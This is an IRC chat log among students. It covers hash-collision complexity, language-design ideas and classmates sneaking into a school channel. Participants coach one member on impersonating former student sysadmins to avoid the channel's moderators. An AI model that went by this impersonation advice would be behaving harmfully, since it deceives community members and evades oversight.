[2014-11-20T20:23:57-0500] <+LittleBobbyTables> Back-ish.
[2014-11-20T20:24:14-0500] <nezorg> JacobEdelman: 
[2014-11-20T20:24:14-0500] <nezorg> In [2]: len(hashlib.sha512('foo').digest())
[2014-11-20T20:24:15-0500] <nezorg> Out[2]: 64
[2014-11-20T20:24:22-0500] <~awe> JacobEdelman: yes, it's bits, you fool.
[2014-11-20T20:24:31-0500] <Hcnsh> awe, just delete my acc plis
[2014-11-20T20:24:44-0500] <JacobEdelman> awe: oh yeah
[2014-11-20T20:24:45-0500] <JacobEdelman> your right
[2014-11-20T20:24:50-0500] <JacobEdelman> still
[2014-11-20T20:24:50-0500] <~awe> I know I am.
[2014-11-20T20:24:59-0500] <JacobEdelman> its (2^n)/2
[2014-11-20T20:25:04-0500] <+LittleBobbyTables> Geeze, awe.Stop looking at my linkedin.
[2014-11-20T20:25:06-0500] <nezorg> okay, I’ve gotta work
[2014-11-20T20:25:07-0500] <JacobEdelman> not 2^(n/2)
[2014-11-20T20:25:22-0500] <+LittleBobbyTables> nezorg: are you still infiltrating tjhsst?
[2014-11-20T20:25:26-0500] <~awe> What are you talking about?
[2014-11-20T20:25:30-0500] <~awe> It's 2^(n/2).
[2014-11-20T20:25:39-0500] <~awe> Hcnsh: you're good
[2014-11-20T20:25:57-0500] <hardmath123> JacobEdelman: if it were (2^n)/2, wouldn't the /2 not be included in big-O notation? :/
[2014-11-20T20:26:02-0500] <~awe> It wouldn't.
[2014-11-20T20:26:05-0500] <JacobEdelman> it shouldn't be
[2014-11-20T20:26:06-0500] <Hcnsh> k
[2014-11-20T20:26:07-0500] <Hcnsh> ty
[2014-11-20T20:26:07-0500] <~awe> Plus, it'd be the same as 2^n-1
[2014-11-20T20:26:07-0500] <JacobEdelman> but you know
[2014-11-20T20:26:11-0500] <JacobEdelman> correct
[2014-11-20T20:26:13-0500] <JacobEdelman> but yeah
[2014-11-20T20:26:17-0500] <JacobEdelman> it wouldn't be
[2014-11-20T20:26:23-0500] <JacobEdelman> but it was already confusing enough
[2014-11-20T20:26:27-0500] <JacobEdelman> for everybody
[2014-11-20T20:26:54-0500] <JacobEdelman> hardmath123: look at lark
[2014-11-20T20:27:24-0500] <~awe> http://crypto.stackexchange.com/questions/3295/how-does-a-birthday-attack-on-a-hashing-algorithm-work
[2014-11-20T20:27:34-0500] <~awe> JacobEdelman: you're completely wrong.
[2014-11-20T20:27:38-0500] <~awe> It's not 2^(n-1)
[2014-11-20T20:27:42-0500] <~awe> It's 2^(n/2) like I said.
[2014-11-20T20:27:54-0500] <JacobEdelman> yes
[2014-11-20T20:27:57-0500] <JacobEdelman> for a birthday attack
[2014-11-20T20:27:59-0500] <JacobEdelman> which as they say
[2014-11-20T20:28:04-0500] <JacobEdelman> is just to find a general collision
[2014-11-20T20:28:06-0500] <JacobEdelman> your still wrong
[2014-11-20T20:28:07-0500] <+LittleBobbyTables> -1= 1/2, obviously.
[2014-11-20T20:28:21-0500] <JacobEdelman> a birthday attack (e.g. both x and y can be selected arbitrarily, but H(x)=H(y) is of course still required) is supposed to be much faster, and take only 2n/2 tries to find a collision.
[2014-11-20T20:28:31-0500] <hardmath123> JacobEdelman: I did, and I "Um"'d at a relevant portion. Here, I'll quote it again:
[2014-11-20T20:28:31-0500] <JacobEdelman> x and y are arbitary
[2014-11-20T20:28:43-0500] <hardmath123> >> "We would continually look through the program for parsing rules to apply applying the first parsing rule first. Once a parsing rule was applied we would go back the beginning."
[2014-11-20T20:28:44-0500] <JacobEdelman> aka we find arabrarity hash
[2014-11-20T20:28:51-0500] <hardmath123> I think this would be really slow.
[2014-11-20T20:28:52-0500] <JacobEdelman> hardmath123: I just meant its like pegjs macros
[2014-11-20T20:28:59-0500] <~awe> JacobEdelman: How am I wrong?
[2014-11-20T20:29:00-0500] <JacobEdelman> hardmath123: soory
[2014-11-20T20:29:01-0500] <hardmath123> PEGjs has macros?
[2014-11-20T20:29:06-0500] <JacobEdelman> hardmath123: I meant sweet.js
[2014-11-20T20:29:21-0500] <~awe> JacobEdelman: You literally just tried to correct me and say that finding a collision with a birthday attack takes (2^n)/2.
[2014-11-20T20:29:40-0500] <~awe> [20:24:59]  <JacobEdelman>	its (2^n)/2
[2014-11-20T20:29:45-0500] <~awe> [20:25:07]  <JacobEdelman>	not 2^(n/2)
[2014-11-20T20:29:52-0500] <+LittleBobbyTables> Where's apothy
[2014-11-20T20:30:13-0500] <hardmath123> sooo mannyyyy taaabbbssss
[2014-11-20T20:30:18-0500] <JacobEdelman> no
[2014-11-20T20:30:19-0500] <JacobEdelman> no
[2014-11-20T20:30:20-0500] <JacobEdelman> wait
[2014-11-20T20:30:38-0500] <~awe> nezorg: ignoring JacobEdelman either not knowing, or not being capable of speaking English effectively (the latter of which is probably more likely), the time complexity of a birthday attack is O(2^(n/2))
[2014-11-20T20:30:40-0500] <JacobEdelman> https://www.irccloud.com/pastebin/4LHevjSM
[2014-11-20T20:30:51-0500] <JacobEdelman> that is what I meant
[2014-11-20T20:30:52-0500] <hardmath123> Sanity is inversely proportional to the number of tabs I have open. :(
[2014-11-20T20:31:03-0500] <JacobEdelman> ... I've been 400, how bout you?
[2014-11-20T20:31:07-0500] <~awe> I don't know what you mean by a specific string.
[2014-11-20T20:31:18-0500] <JacobEdelman> hardmath123: so, there was a second method 
[2014-11-20T20:31:20-0500] <~awe> Oh.
[2014-11-20T20:31:22-0500] <~awe> Yes I do.
[2014-11-20T20:31:27-0500] <JacobEdelman> hardmath123: which was simpler
[2014-11-20T20:31:54-0500] <hardmath123> JacobEdelman: btw, I pinged you on #picoctf about an idea for a language design project, if you're interested.
[2014-11-20T20:32:30-0500] <JacobEdelman> hardmath123: I may not have been online when you did so
[2014-11-20T20:32:33-0500] <JacobEdelman> can you put it here?
[2014-11-20T20:33:02-0500] <hardmath123> sure
[2014-11-20T20:33:47-0500] <hardmath123> i thought you would like to think about building some sort of compiler for text-based Interactive Fiction games like Zork.
[2014-11-20T20:34:30-0500] <JacobEdelman> I've seem stuff like that, 
[2014-11-20T20:34:34-0500] <JacobEdelman> it did seem a bit interestin
[2014-11-20T20:34:35-0500] <hardmath123> yeah, like Inform
[2014-11-20T20:34:37-0500] <JacobEdelman> *interesting
[2014-11-20T20:34:44-0500] <hardmath123> or that other one with the boxes and arrows whose name I forget
[2014-11-20T20:35:03-0500] <hardmath123> but, admittedly, they aren't very shiny
[2014-11-20T20:35:19-0500] <hardmath123> (Inform has been used in awesome *projects*, but it's a pain to use.)
[2014-11-20T20:35:23-0500] <JacobEdelman> (also, from earlier, the whole repeated parsing thing was jsut context sensitive parsing, I just wanted a way to do that, assuming that if a rule could be applied than a parsing where it is applied it valid)
[2014-11-20T20:35:28-0500] <JacobEdelman> so
[2014-11-20T20:35:33-0500] <~awe> JacobEdelman: you need to english better.
[2014-11-20T20:35:36-0500] <JacobEdelman> i don't know about an Inform like language
[2014-11-20T20:35:47-0500] <JacobEdelman> it seems, a bit restricitve
[2014-11-20T20:35:57-0500] <JacobEdelman> like a hyper DSL
[2014-11-20T20:36:14-0500] <JacobEdelman> hmmm... what would be cool
[2014-11-20T20:36:17-0500] <JacobEdelman> is doing that
[2014-11-20T20:36:21-0500] <JacobEdelman> except with an irc bot
[2014-11-20T20:36:26-0500] <hardmath123> Inform isn't restrictice, it's an S-expression syntax
[2014-11-20T20:36:35-0500] <JacobEdelman> I havn't looked at it much
[2014-11-20T20:36:53-0500] <JacobEdelman> but wouldn't the entire point be too make a language focused just on interactive fiction games?
[2014-11-20T20:37:00-0500] <~awe> You're wrong that it takes 2^n/2 though.
[2014-11-20T20:37:05-0500] <~awe> A preimage attack takes O(2^n)
[2014-11-20T20:37:20-0500] <JacobEdelman> (2^n)/2=2^n
[2014-11-20T20:37:26-0500] <JacobEdelman> if thats what you meant
[2014-11-20T20:37:41-0500] <hardmath123> (Question: why /2?)
[2014-11-20T20:38:27-0500] <~awe> No, I meant that there isn't an /2 at all.
[2014-11-20T20:38:34-0500] <hardmath123> JacobEdelman: that's what the "new" Inform does. You write stories in English. I find it very annoying.
[2014-11-20T20:38:36-0500] <~awe> Unless you're talking about something other than worst-case complexity.
[2014-11-20T20:38:48-0500] <hardmath123> yeah, it was at Jacob: why would there be a /2?
[2014-11-20T20:38:53-0500] <JacobEdelman> (you find the correct hash on average half way through all possibles inputs)
[2014-11-20T20:38:58-0500] <~awe> >.>
[2014-11-20T20:38:59-0500] <JacobEdelman> oh wait
[2014-11-20T20:39:00-0500] <JacobEdelman> yeah
[2014-11-20T20:39:03-0500] <JacobEdelman> you're right
[2014-11-20T20:39:03-0500] <~awe> Nobody talks about average case.
[2014-11-20T20:39:04-0500] <JacobEdelman> sorry
[2014-11-20T20:39:09-0500] <JacobEdelman> got confused
[2014-11-20T20:39:09-0500] <~awe> Without stating average case.
[2014-11-20T20:39:09-0500] <+LittleBobbyTables> oman
[2014-11-20T20:39:12-0500] <~awe> Get out of my house.
[2014-11-20T20:39:12-0500] <+LittleBobbyTables> Oracle is added
[2014-11-20T20:39:51-0500] <JacobEdelman> hardmath123: wait, you hate inform? I thought you said you wanted to remake it?
[2014-11-20T20:39:56-0500] <JacobEdelman> hardmath123: or make soemthing similar
[2014-11-20T20:40:06-0500] <JacobEdelman> hardmath123: to keep down consuion lets move into #cs
[2014-11-20T20:40:11-0500] <hardmath123> JacobEdelman: no, I don't hate it, I think it's brilliant!
[2014-11-20T20:40:19-0500] <JacobEdelman> wait
[2014-11-20T20:40:20-0500] <JacobEdelman> what?
[2014-11-20T20:40:22-0500] <JacobEdelman> oh
[2014-11-20T20:40:28-0500] <JacobEdelman> lets move to #cs
[2014-11-20T20:40:33-0500] <JacobEdelman> this is getting confusin
[2014-11-20T20:40:35-0500] <JacobEdelman> this is getting confusing
[2014-11-20T20:40:44-0500] <hardmath123> JacobEdelman: it's just that the new pseudoEnglish for writing stories is sort of annoying for hackerey folk like myself.
[2014-11-20T20:41:28-0500] <JacobEdelman> move to #cs
[2014-11-20T20:41:36-0500] <JacobEdelman> (hardmath that is to you)
[2014-11-20T20:42:01-0500] <JacobEdelman> oh wait
[2014-11-20T20:42:05-0500] <JacobEdelman> did I mess up #cs
[2014-11-20T20:42:06-0500] <JacobEdelman> ?
[2014-11-20T20:42:16-0500] <JacobEdelman> much better
[2014-11-20T20:47:16-0500] <~awe> My inability to enroll in my classes is deeply frustrating.
[2014-11-20T20:49:08-0500] <~awe> JacobEdelman: i-can-ghost-people-and-also-prevent-stealing-or-irksome-people
[2014-11-20T20:49:10-0500] <~awe> JacobEdelman: nice email.
[2014-11-20T20:49:15-0500] <JacobEdelman> `......
[2014-11-20T20:49:17-0500] <JacobEdelman> ummm
[2014-11-20T20:49:18-0500] <JacobEdelman> awe
[2014-11-20T20:49:21-0500] <JacobEdelman> ...
[2014-11-20T20:49:24-0500] <JacobEdelman> your an idiot
[2014-11-20T20:49:35-0500] <~awe> Wrong your.
[2014-11-20T20:49:53-0500] • hardmath123: leaves before things escalate. Find me on #picoctf if you need me.
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[2014-11-20T20:51:09-0500] <Tamini_> awe, what's wrong?
[2014-11-20T20:51:28-0500] <~awe> Tamini_: I'm not a CS major.
[2014-11-20T20:51:32-0500] <~awe> I'm an Applicant on Contract.
[2014-11-20T20:51:35-0500] <~awe> CS courses require the major.
[2014-11-20T20:51:40-0500] <~awe> So, I have to file overrides to get into my classes.
[2014-11-20T20:51:44-0500] <~awe> So, my enrollment appointment was today.
[2014-11-20T20:51:50-0500] <~awe> I enrolled in the one class I'm allowed to enroll in.
[2014-11-20T20:51:59-0500] <~awe> So, next semester, right now, I'm taking a single Math class and that's it.
[2014-11-20T20:52:22-0500] <~awe> And I won't know if I'm having other classes until they approve them.
[2014-11-20T20:56:17-0500] <Tamini_> aww.
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[2014-11-20T20:57:50-0500] <~awe> hardmath123: welcome back.
[2014-11-20T20:58:40-0500] <JacobEdelman> so heres what happened
[2014-11-20T20:58:48-0500] <JacobEdelman> (and why I'm no longer mad at awe)
[2014-11-20T20:58:59-0500] <JacobEdelman> I registered a ton of nicks cause I wanted to get dibs
[2014-11-20T20:59:18-0500] <JacobEdelman> and apparentely on one I registered with pasting my password twice, repalcing the email 
[2014-11-20T20:59:19-0500] <JacobEdelman> so
[2014-11-20T20:59:41-0500] <+LittleBobbyTables> Why even need the email?
[2014-11-20T20:59:43-0500] <JacobEdelman> awe saw the hashed password, and again my password in cleartext as the email
[2014-11-20T20:59:52-0500] <JacobEdelman> (pidgey needs it for some reason)
[2014-11-20T20:59:54-0500] <JacobEdelman> so he thought
[2014-11-20T20:59:59-0500] <JacobEdelman> that the password was me making a joke
[2014-11-20T21:00:00-0500] <+LittleBobbyTables> Never has.
[2014-11-20T21:00:11-0500] <+LittleBobbyTables> I've never needed to register with an email to pidgey.
[2014-11-20T21:00:17-0500] <JacobEdelman> and was not my actual password
[2014-11-20T21:00:23-0500] <JacobEdelman> as it was in the email field
[2014-11-20T21:00:24-0500] <JacobEdelman> so
[2014-11-20T21:00:28-0500] <JacobEdelman> he posted it on the irc
[2014-11-20T21:00:29-0500] <JacobEdelman> ...
[2014-11-20T21:00:37-0500] <JacobEdelman> but its all better
[2014-11-20T21:00:46-0500] <JacobEdelman> I'm just changing my irc password
[2014-11-20T21:01:22-0500] Hcnsh is now known as JacobElderman
[2014-11-20T21:01:24-0500] <JacobElderman> hai
[2014-11-20T21:01:31-0500] <~awe> Pidgey doesn't need it.
[2014-11-20T21:01:32-0500] <~awe> It's optional.
[2014-11-20T21:01:33-0500] <JacobEdelman> ...
[2014-11-20T21:01:37-0500] <JacobEdelman> ....
[2014-11-20T21:01:38-0500] <~awe> The email is completely optional.
[2014-11-20T21:01:41-0500] <JacobEdelman> oh
[2014-11-20T21:01:44-0500] <~awe> I'm not sure what to do with it.
[2014-11-20T21:01:54-0500] <JacobEdelman> sell it to russian spammers ?
[2014-11-20T21:01:56-0500] <~awe> I just wanted to make it an option just in case.
[2014-11-20T21:07:19-0500] <Tamini_> lol
[2014-11-20T21:07:21-0500] <Tamini_> jacobelderman
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[2014-11-20T21:14:52-0500] Pidgey sets mode +a Pidgey
[2014-11-20T21:14:52-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-20T21:17:00-0500] <JacobEdelman> gnight
[2014-11-20T21:17:41-0500] <~awe> Good night, JacobEdelman.
[2014-11-20T21:17:48-0500] <~awe> JacobEdelman: oh, wait
[2014-11-20T21:17:57-0500] <~awe> JacobEdelman: Connolly sent me an email about PClassic lol.
[2014-11-20T21:29:37-0500] <+LittleBobbyTables> nezorg: Why am I getting all the fun :(
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[2014-11-20T21:31:28-0500] <Tamini_> LOL
[2014-11-20T21:31:30-0500] <Tamini_> awe, wanna come? <3
[2014-11-20T21:31:42-0500] <~awe> Ain't nobody got time for that.
[2014-11-20T21:32:06-0500] <+LittleBobbyTables> This is quite entertaining.
[2014-11-20T21:33:53-0500] <Tamini_> nezorg is missing all the drama
[2014-11-20T21:33:54-0500] <Tamini_> :<
[2014-11-20T21:33:59-0500] <Tamini_> also nezorg should totally come to pclassic 
[2014-11-20T21:34:05-0500] <Tamini_> not like its far or anything.. :P
[2014-11-20T21:35:52-0500] <nezorg> drama?
[2014-11-20T21:36:09-0500] <Tamini_> uhh
[2014-11-20T21:36:14-0500] <Tamini_> #tjhsst
[2014-11-20T21:36:19-0500] <Tamini_> bbt is causing a cute debate
[2014-11-20T21:36:25-0500] <nezorg> well it's logging
[2014-11-20T21:36:28-0500] <Tamini_> (on second thought, you should probably english hw first)
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[2014-11-20T21:41:28-0500] <james> 21:40:59            <-- | BigBobbyTable (~BigBobbyT@184-78-198-25.war.clearwire-wmx.net) has quit (Read error: Connection reset by peer)
[2014-11-20T21:41:39-0500] <james> welp that wasn't intentional
[2014-11-20T21:41:41-0500] <james> nvm
[2014-11-20T21:41:44-0500] <+LittleBobbyTables> lel
[2014-11-20T21:42:57-0500] <james> aand again
[2014-11-20T21:43:06-0500] <+LittleBobbyTables> yep
[2014-11-20T21:43:13-0500] <+LittleBobbyTables> james=jcotton?
[2014-11-20T21:43:18-0500] <james> LittleBobbyTables: no
[2014-11-20T21:43:20-0500] <james> jwoglom
[2014-11-20T21:43:21-0500] <Tamini_> no
[2014-11-20T21:43:22-0500] <Tamini_> ^
[2014-11-20T21:43:23-0500] <+LittleBobbyTables> mk
[2014-11-20T21:43:27-0500] <Tamini_> jwoglom is a coolkid
[2014-11-20T21:43:29-0500] <Tamini_> B)
[2014-11-20T21:43:34-0500] <james> yay coolkid
[2014-11-20T21:43:54-0500] <Tamini_> also did #tjhsst
[2014-11-20T21:44:02-0500] <Tamini_> go from hating on lbt go
[2014-11-20T21:44:03-0500] <Tamini_> to*
[2014-11-20T21:44:07-0500] <Tamini_> giving him tech support
[2014-11-20T21:44:10-0500] <Tamini_> in the span of 5 minutes
[2014-11-20T21:44:18-0500] <james> yep
[2014-11-20T21:45:30-0500] <+LittleBobbyTables> james, I made a VM in VMWare with the same iso directly after it started having issues.
[2014-11-20T21:45:38-0500] <+LittleBobbyTables> (last dc was intentional)
[2014-11-20T21:46:05-0500] <+LittleBobbyTables> I completely reinstalled VBox multiple times (no files left at all, 100% wiped + overwritten)
[2014-11-20T21:49:20-0500] <nezorg> maybe I should say something
[2014-11-20T21:49:46-0500] <~awe> If you see something, say something.
[2014-11-20T21:50:15-0500] <nezorg> I see lots of things
[2014-11-20T21:50:19-0500] <Tamini_> nezorg darn
[2014-11-20T21:50:21-0500] <nezorg> not many terrorists tho
[2014-11-20T21:50:32-0500] <Tamini_> but then I'll feel obligated to like
[2014-11-20T21:50:33-0500] <Tamini_> save you
[2014-11-20T21:50:36-0500] <james> nezorg/zorgne: maybe?
[2014-11-20T21:50:46-0500] <james> people already noticed you
[2014-11-20T21:50:51-0500] <james> they just didn't do anything
[2014-11-20T21:50:53-0500] <Tamini_> well yeah
[2014-11-20T21:50:56-0500] <Tamini_> they didn't care enough
[2014-11-20T21:50:58-0500] <Tamini_> well ok
[2014-11-20T21:51:00-0500] <nezorg> kooh let's see what they're saying now
[2014-11-20T21:51:02-0500] <Tamini_> let's see if fox's bill passes first.
[2014-11-20T21:51:09-0500] <+LittleBobbyTables> They probably didn't care because you aren't talking.
[2014-11-20T21:51:10-0500] <james> 2014-11-19 23:59:32     -->     zorgne (~root@104.131.151.187) has joined #tjhsst
[2014-11-20T21:51:12-0500] <james> 2014-11-19 23:59:45     creffett        zorgne: hello, who are you?
[2014-11-20T21:51:14-0500] <james> 2014-11-20 00:06:40     zorgne  Tamini: ghci -XExistentialTypes -XRankNTypes
[2014-11-20T21:51:16-0500] <james> 2014-11-20 00:07:02     creffett        zorgne: again, who are you?
[2014-11-20T21:51:18-0500] <james> 2014-11-20 00:54:21     csssuf  still leaves zorgne
[2014-11-20T21:51:20-0500] <nezorg> yes yes ges
[2014-11-20T21:51:20-0500] <james> 2014-11-20 09:04:05     pfoley  who is zorgne, and why are they connected as root from digital ocean??
[2014-11-20T21:51:22-0500] <james> 2014-11-20 09:04:24     srepetsk        i am gro---zorgne!
[2014-11-20T21:51:41-0500] <+LittleBobbyTables> So what'd they say about me after I left ^_^
[2014-11-20T21:51:49-0500] <nezorg> nothing :/
[2014-11-20T21:51:50-0500] <Tamini_> fox is proposing a bill
[2014-11-20T21:52:00-0500] <james> LittleBobbyTables: nothing, the topic shifted
[2014-11-20T21:52:09-0500] <+LittleBobbyTables> Oh nice.
[2014-11-20T21:52:16-0500] <Tamini_> well, sorta.
[2014-11-20T21:52:53-0500] <Tamini_> LOL
[2014-11-20T21:52:56-0500] <Tamini_> WHY DO YOU DO THIS TO ME
[2014-11-20T21:53:07-0500] <james> lol
[2014-11-20T21:53:09-0500] <james> nice
[2014-11-20T21:53:10-0500] <Tamini_> asdfaskjdfhasfoasdf;
[2014-11-20T21:53:14-0500] <james> now don't say anything else
[2014-11-20T21:53:14-0500] <Tamini_> nezorg WHY
[2014-11-20T21:53:27-0500] <+LittleBobbyTables> What's you say
[2014-11-20T21:53:27-0500] <+LittleBobbyTables> lol
[2014-11-20T21:53:29-0500] <james> also that !s attracted a lot more attention to yourself
[2014-11-20T21:53:51-0500] <+LittleBobbyTables> I feel left out now.
[2014-11-20T21:53:56-0500] <+LittleBobbyTables> James, get me an exception for webchat <3
[2014-11-20T21:54:08-0500] <james> LittleBobbyTables: which webchat do you use?
[2014-11-20T21:54:19-0500] <Tamini_> I don't think they realize
[2014-11-20T21:54:21-0500] <Tamini_> you don't go to tj
[2014-11-20T21:54:21-0500] <Tamini_> LOL
[2014-11-20T21:54:25-0500] <james> we've generally had a ban on all just because we don't like people going in and out
[2014-11-20T21:54:37-0500] <+LittleBobbyTables> I use irccloud
[2014-11-20T21:54:42-0500] <+LittleBobbyTables> So I won't be going in and out
[2014-11-20T21:54:57-0500] <james> yeah, unbanning irccloud has been brought up in the past
[2014-11-20T21:55:06-0500] <Tamini_> unbanning irccloud would be nice
[2014-11-20T21:55:12-0500] <+LittleBobbyTables> I would love you guys forever.
[2014-11-20T21:55:15-0500] <+LittleBobbyTables> Possibly identify.
[2014-11-20T21:55:18-0500] <james> we +e'd (i think that's the letter, idk irc modes well) laudiacay because she uses it
[2014-11-20T21:55:18-0500] <Tamini_> but i can just change clients later 
[2014-11-20T21:55:19-0500] <Tamini_> oh right
[2014-11-20T21:55:26-0500] <Tamini_> did apothy go to bed
[2014-11-20T21:55:26-0500] <james> but it'd probably make sense to just remove the big ban on gateway/*
[2014-11-20T21:55:47-0500] <+LittleBobbyTables> Totally bring that up. Be like "BBT might possibly reveal himself if he gets an exception on the webchat ban :^)"
[2014-11-20T21:55:48-0500] <~awe> nezorg: What leet things can I do on my leet secret hacker account?
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[2014-11-20T21:56:07-0500] <james> if any of you want to join #tjhsst
[2014-11-20T21:56:22-0500] <james> find a random former admin's name and join as their name
[2014-11-20T21:56:25-0500] <Tamini_> ....i think he fits in
[2014-11-20T21:56:25-0500] <Tamini_> LOL
[2014-11-20T21:56:31-0500] <Tamini_> i think nezorg is fitting in so well
[2014-11-20T21:56:34-0500] <Tamini_> no one is asking questions
[2014-11-20T21:56:38-0500] <+LittleBobbyTables> I feel left out :(
[2014-11-20T21:56:38-0500] <james> yeah lol
[2014-11-20T21:56:40-0500] <nezorg> lol
[2014-11-20T21:56:47-0500] <james> because you started on a math problem
[2014-11-20T21:56:52-0500] <james> we all just assume you're one of us :)
[2014-11-20T21:56:59-0500] <~awe> zorgne  Tamini: ghci -XExistentialTypes -XRankNTypes
[2014-11-20T21:56:59-0500] <james> https://livedoc.tjhsst.edu/wiki/Student_Systems_Administrators#Previous_Student_Systems_Administrators btw
[2014-11-20T21:57:01-0500] <~awe> nezorg: you're the best.
[2014-11-20T21:57:12-0500] <+LittleBobbyTables> I started on a computer science topic
[2014-11-20T21:57:13-0500] <+LittleBobbyTables> :/
[2014-11-20T21:57:19-0500] <Tamini_> i would also much appreciate
[2014-11-20T21:57:22-0500] <Tamini_> allowing irccloud
[2014-11-20T21:57:26-0500] <Tamini_> because APOTHY LEFT ME OMG
[2014-11-20T21:57:26-0500] <+LittleBobbyTables> It was when there were like 3 people online though.
[2014-11-20T21:57:28-0500] <Tamini_> >.>
[2014-11-20T21:57:59-0500] <~awe> james: it's on Freenode?
[2014-11-20T21:58:03-0500] <+LittleBobbyTables> Correct.
[2014-11-20T21:58:10-0500] <james> awe: #tjhsst on freenode
[2014-11-20T21:58:15-0500] <james> don't be too much of a nuisance
[2014-11-20T21:58:17-0500] <Tamini_> awe I will actually not cover for you
[2014-11-20T21:58:23-0500] <Tamini_> one person is enough
[2014-11-20T21:58:25-0500] <Tamini_> james can do it
[2014-11-20T21:58:25-0500] <Tamini_> >.<
[2014-11-20T21:58:54-0500] <+LittleBobbyTables> Nobody covered for me
[2014-11-20T21:58:56-0500] <james> wait so i would cover
[2014-11-20T21:59:21-0500] <james> the time that you join is really important
[2014-11-20T21:59:33-0500] <+LittleBobbyTables> I figured that out lol
[2014-11-20T21:59:41-0500] <james> example a: 21:59:31       creffett | and who's this one now?
[2014-11-20T21:59:49-0500] <james> you need to join when there's a lot of noise
[2014-11-20T21:59:51-0500] <james> and no forner admins around
[2014-11-20T22:00:01-0500] <Tamini_> I'm pretty sure
[2014-11-20T22:00:03-0500] <Tamini_> they all assume
[2014-11-20T22:00:06-0500] <Tamini_> zenorg identified at one point
[2014-11-20T22:00:09-0500] <Tamini_> because he fits in so well
[2014-11-20T22:00:10-0500] <Tamini_> LOL
[2014-11-20T22:00:13-0500] <+LittleBobbyTables> :/
[2014-11-20T22:00:14-0500] <james> don't talk for awhile
[2014-11-20T22:00:20-0500] <james> start talking in an hour or two
[2014-11-20T22:00:24-0500] <+LittleBobbyTables> I didn't talk for awhile and still got interrogated :(
[2014-11-20T22:00:49-0500] <+LittleBobbyTables> but james, help me fix vbox issue <3
[2014-11-20T22:01:02-0500] <james> LittleBobbyTables: idk i'm no vbox master :-/
[2014-11-20T22:01:07-0500] <+LittleBobbyTables> :(
[2014-11-20T22:01:14-0500] <+LittleBobbyTables> jcotton stopped talking :/
[2014-11-20T22:02:15-0500] <james> he's talking again..
[2014-11-20T22:02:33-0500] <+LittleBobbyTables> I /quit on my client.
[2014-11-20T22:02:49-0500] <+LittleBobbyTables> I keep dcing. It's why a +e or unban on irccloud would be nice.
[2014-11-20T22:03:19-0500] <~awe> I should probably join from ZNC.
[2014-11-20T22:03:24-0500] <~awe> I'm joining from my client directly right now.
[2014-11-20T22:05:24-0500] <~awe> Tamini_: my professor was never a sysadmin at TJ :(
[2014-11-20T22:05:42-0500] <nezorg> shit
[2014-11-20T22:05:42-0500] <~awe> [22:05:23]  <fwilson>	wait, who's zorgne?
[2014-11-20T22:05:42-0500] <~awe> [22:05:28]  <pfoley>	who is mcraig...
[2014-11-20T22:05:51-0500] <~awe> [22:05:38]  <fwilson>	...what's going on here
[2014-11-20T22:05:51-0500] <~awe> [22:05:45]  <fwilson>	what's PHG_ doing here
[2014-11-20T22:05:52-0500] <~awe> xD
[2014-11-20T22:06:14-0500] <+LittleBobbyTables> GJ fwilson :^)
[2014-11-20T22:06:25-0500] <+LittleBobbyTables> Keep me updated
[2014-11-20T22:07:07-0500] <~awe> [22:05:31]  <Tamini>	s/perminant/permanant
[2014-11-20T22:07:14-0500] <~awe> Tamini_: well, this is embarassing
[2014-11-20T22:07:20-0500] <~awe> You spelled permanent wrong both times.
[2014-11-20T22:07:26-0500] <Tamini_> Oh
[2014-11-20T22:07:26-0500] <Tamini_> LOL
[2014-11-20T22:07:27-0500] <Tamini_> welp
[2014-11-20T22:07:29-0500] <Tamini_> cant
[2014-11-20T22:07:30-0500] <Tamini_> life
[2014-11-20T22:07:51-0500] <Tamini_> goddammit fox
[2014-11-20T22:07:53-0500] <Tamini_> why do you do this
[2014-11-20T22:07:59-0500] <Tamini_> james: odds fox will play along if I ask nicely
[2014-11-20T22:08:11-0500] <james> Tamini_: i already told him
[2014-11-20T22:08:15-0500] <Tamini_> ?
[2014-11-20T22:08:20-0500] <Tamini_> what did you tell him?
[2014-11-20T22:08:24-0500] <~awe> Oh god.
[2014-11-20T22:08:27-0500] <~awe> What'd you tell him?
[2014-11-20T22:08:29-0500] <james> 22:06:01 jwoglom | don't question zorgone
[2014-11-20T22:08:31-0500] <james> 22:06:15 jwoglom | ashley and i want to see how long he can blend in
[2014-11-20T22:08:35-0500] <james> 22:06:20 fwilson | but
[2014-11-20T22:08:40-0500] <james> 22:06:31 fwilson | my job is literally to point out people who shouldn't be here
[2014-11-20T22:09:10-0500] <Tamini_> LOL
[2014-11-20T22:09:11-0500] <Tamini_> godammit
[2014-11-20T22:09:12-0500] <Tamini_> lemme ask
[2014-11-20T22:09:31-0500] <nezorg> "just guess about z-man"
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[2014-11-20T22:09:55-0500] <Tamini_> LOL
[2014-11-20T22:10:03-0500] <Tamini_> you blend in better than everyone else
[2014-11-20T22:12:26-0500] <Tamini_> wait quick
[2014-11-20T22:12:27-0500] <Tamini_> how do we
[2014-11-20T22:12:29-0500] <Tamini_> cover for him
[2014-11-20T22:12:30-0500] <Tamini_> quick
[2014-11-20T22:12:32-0500] <james> um
[2014-11-20T22:12:33-0500] <Tamini_> james pls
[2014-11-20T22:12:34-0500] <james> find a random name
[2014-11-20T22:12:35-0500] <Tamini_> say soemthing
[2014-11-20T22:12:35-0500] <Tamini_> LOL
[2014-11-20T22:12:38-0500] <Tamini_> off iodine?
[2014-11-20T22:12:50-0500] <james> https://livedoc.tjhsst.edu/wiki/Student_Systems_Administrators#Previous_Student_Systems_Administrators
[2014-11-20T22:12:56-0500] <Tamini_> or shh
[2014-11-20T22:12:56-0500] <james> nezorg: 
[2014-11-20T22:12:58-0500] <Tamini_> play along.
[2014-11-20T22:13:00-0500] <Tamini_> I'm pretty sure he thinks
[2014-11-20T22:13:11-0500] <Tamini_> nezorg is someone specific
[2014-11-20T22:13:13-0500] <+LittleBobbyTables> Here's how to win everyone over nezorg, pretend you're me.
[2014-11-20T22:13:15-0500] <james> or just keep the conversation going
[2014-11-20T22:13:23-0500] <~awe> "but it's pretty obvious who he is"
[2014-11-20T22:13:26-0500] <~awe> What does that mean?
[2014-11-20T22:13:35-0500] <james> probably just "not a tj student"
[2014-11-20T22:13:41-0500] <james> oh snap
[2014-11-20T22:14:09-0500] <nezorg> I'm seriously confused over who they think I am
[2014-11-20T22:14:23-0500] <james> oh damn you actually chose a name
[2014-11-20T22:14:28-0500] <james> i didn't notice
[2014-11-20T22:14:38-0500] <nezorg> me?
[2014-11-20T22:14:42-0500] <nezorg> I didn't
